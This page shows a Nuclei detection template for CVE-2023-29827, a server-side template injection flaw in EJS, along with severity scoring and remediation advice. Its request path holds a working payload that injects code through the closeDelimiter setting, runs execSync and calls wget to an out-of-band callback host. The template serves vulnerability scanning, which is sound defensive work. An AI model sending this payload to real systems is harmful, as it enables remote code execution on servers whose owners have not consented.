Skip to content

Embedded JavaScript(EJS) 3.1.6 - Template Injection

ID: CVE-2023-29827

Severity: critical

Author: ritikchaddha

Tags: cve,cve2023,ssti,rce,ejs,oast,node.js

ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.

id: CVE-2023-29827
info:
name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
author: ritikchaddha
severity: critical
description: |
ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
impact: |
High impact as it enables remote code execution.
remediation: |
Update EJS to the latest version to mitigate the vulnerability.
reference:
- https://github.com/mde/ejs/issues/720
- https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2023-29827
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-29827
cwe-id: CWE-74
epss-score: 0.09885
epss-percentile: 0.94826
cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: ejs
product: ejs
framework: node.js
tags: cve,cve2023,ssti,rce,ejs,oast,node.js
http:
- method: GET
path:
- "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: body
words:
- "You are viewing page number"
# digest: 4b0a00483046022100a5fa4bed4f40632beeeceab19a78db7ba603d0648d3ccc0312c8cecb97dae74b022100f62bfb42ab74a58a50f88ae968d125059851075c69b5c4fc99d2b06b64c87159:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29827.yaml"

View on Github